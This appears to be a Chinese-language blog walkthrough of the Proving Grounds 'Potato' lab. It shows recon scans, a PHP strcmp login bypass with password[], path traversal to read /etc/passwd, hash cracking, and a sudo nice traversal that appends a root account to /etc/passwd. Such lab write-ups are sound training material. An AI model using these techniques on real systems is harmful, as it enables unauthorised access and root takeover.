Proving Grounds Play : Potato Walkthrough
Proving Grounds Play : Potato Walkthrough
Foothold :
- 80 網站有登入頁面,在 ftp 站台發現登入網頁應該是用 strcmp 函數帶入帳號密碼
- 參考 strcmp bypass 成功登入與獲取密碼,登入網站後有 POST 讀取指定檔案
- 修改讀取檔案路徑成功讀取 /etc/passwd 並發現密碼 HASH 存在檔案中
- 破解密碼後成功 SSH 登入
PE :
- sudo -l 發現 nice 指令
- 標準利用 nice 去執行一個 .sh script 新增 root 使用者
- 但使用的路徑沒有權限寫入,繞個彎改用 linux 的路徑切換到 /tmp 底下的檔案
- 成功新增 root 使用者,切換使用者提權成功
Rustscan,└─$ rustscan -a 192.168.170.101 --scripts none --ulimit 5000 | tee rustscan
snmp check,└─$ sudo nmap -sU -p 161 192.168.170.101 | tee snmp
nmap,└─$ sudo nmap -sCV -A -p 22,80,2112 192.168.170.101 | tee nmap
匿名登入 FTP 服務,└─$ ftp 192.168.170.101 -p 2112
發現兩個檔案 index.php.bak、welcome.msg,先抓下來,另外測試上傳 test.txt 沒有成功
看一下 index.php.bak,看來使用者預設密碼是 potato
且帳號密碼變數使用 strcmp 語法,這有名的驗證繞過函數
另外一個 welcome.msg 內容沒有甚麼幫助
80 /
80 /robots.txt
gobuster 80,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.170.101 -c -t 150 -x txt,pdf,git,php | tee gobuster
80 /admin
使用幾個常用的帳號密碼組合與 admin:potato 都無法登入
參考 strcmp 繞過 https://www.cnblogs.com/websec/p/7099687.html
由於 URL 不傳送 POST 內容資訊所以改用 Burp Suite 來編輯
將 password=potato 改成 password[]=potato 可以看到變成 welcome 且轉到 dashboard.php
且看到 cookie 當中有密碼 Set-Cookie: pass=serdesfsefhijosefjtfgyuhjiosefdfthgyjh;
回到網頁使用憑證 admin:serdesfsefhijosefjtfgyuhjiosefdfthgyjh 登入試試看,成功登入了
80 /admin/dashboard.php 顯示如下
http://192.168.170.101/admin/dashboard.php?page=users
http://192.168.170.101/admin/dashboard.php?page=log
http://192.168.170.101/admin/dashboard.php?page=ping
回到 log 頁面點選 log_01.txt
log_02.txt
log_03.txt
將幾個都送到 Burp Suite 分析看看,發現僅有在存取 Log_01~03.txt 時使用 POST
且 BODY 中有指定檔案名稱,其它的 date、ping、users 都是在 page= 換名稱而已
先試試看 page= 換名稱可不可以讀取檔案 /etc/passwd,發現不可讀取
改修改 file=log_01.txt 換成 ../../../../../../../../etc/passwd 成功讀到了
獲得帳號 webadmin、florianges
且 webadmin 有密碼 HASH 為 $1$webadmin$3sXBxGUtDGIFAcnNTNhi6/
破解看看,發現一組憑證 webadmin:dragon
SSH 成功登入了
獲取第一階段 flag
另一個使用者的 home 目錄可以進去但沒有東西
sudo -l,發現可以執行 (ALL : ALL) /bin/nice /notes/*
查看 nice 指令的應用,參考 : https://www.runoob.com/linux/linux-comm-nice.html
nice 指令看來可以直接執行程序
寫一個加 root 使用者到 /etc/passwd 檔案中的程序,最愛用的帳號:密碼 --> aries:Oscp#1234
做一個檔案名稱為 adduser.sh 放在 /tmp 底下
echo 'echo "aries:\$1\$qaKzzjN8\$y6Ga3/.6H2y8.LOryHjhZ.:0:0:/root:/bin/bash" >> /etc/passwd' > /tmp/adduser.sh
因為 /notes 底下沒有權限,所以改用目錄切的模式進行
sudo /bin/nice /notes/../../../../tmp/adduser.sh 發現沒有權限,用了 sudo 還沒權限
後來發現是沒有給 adduser.sh 執行的權限
cat /etc/passwd 確定有寫入了
切換使用者 aries,獲取 proof.txt
留言
張貼留言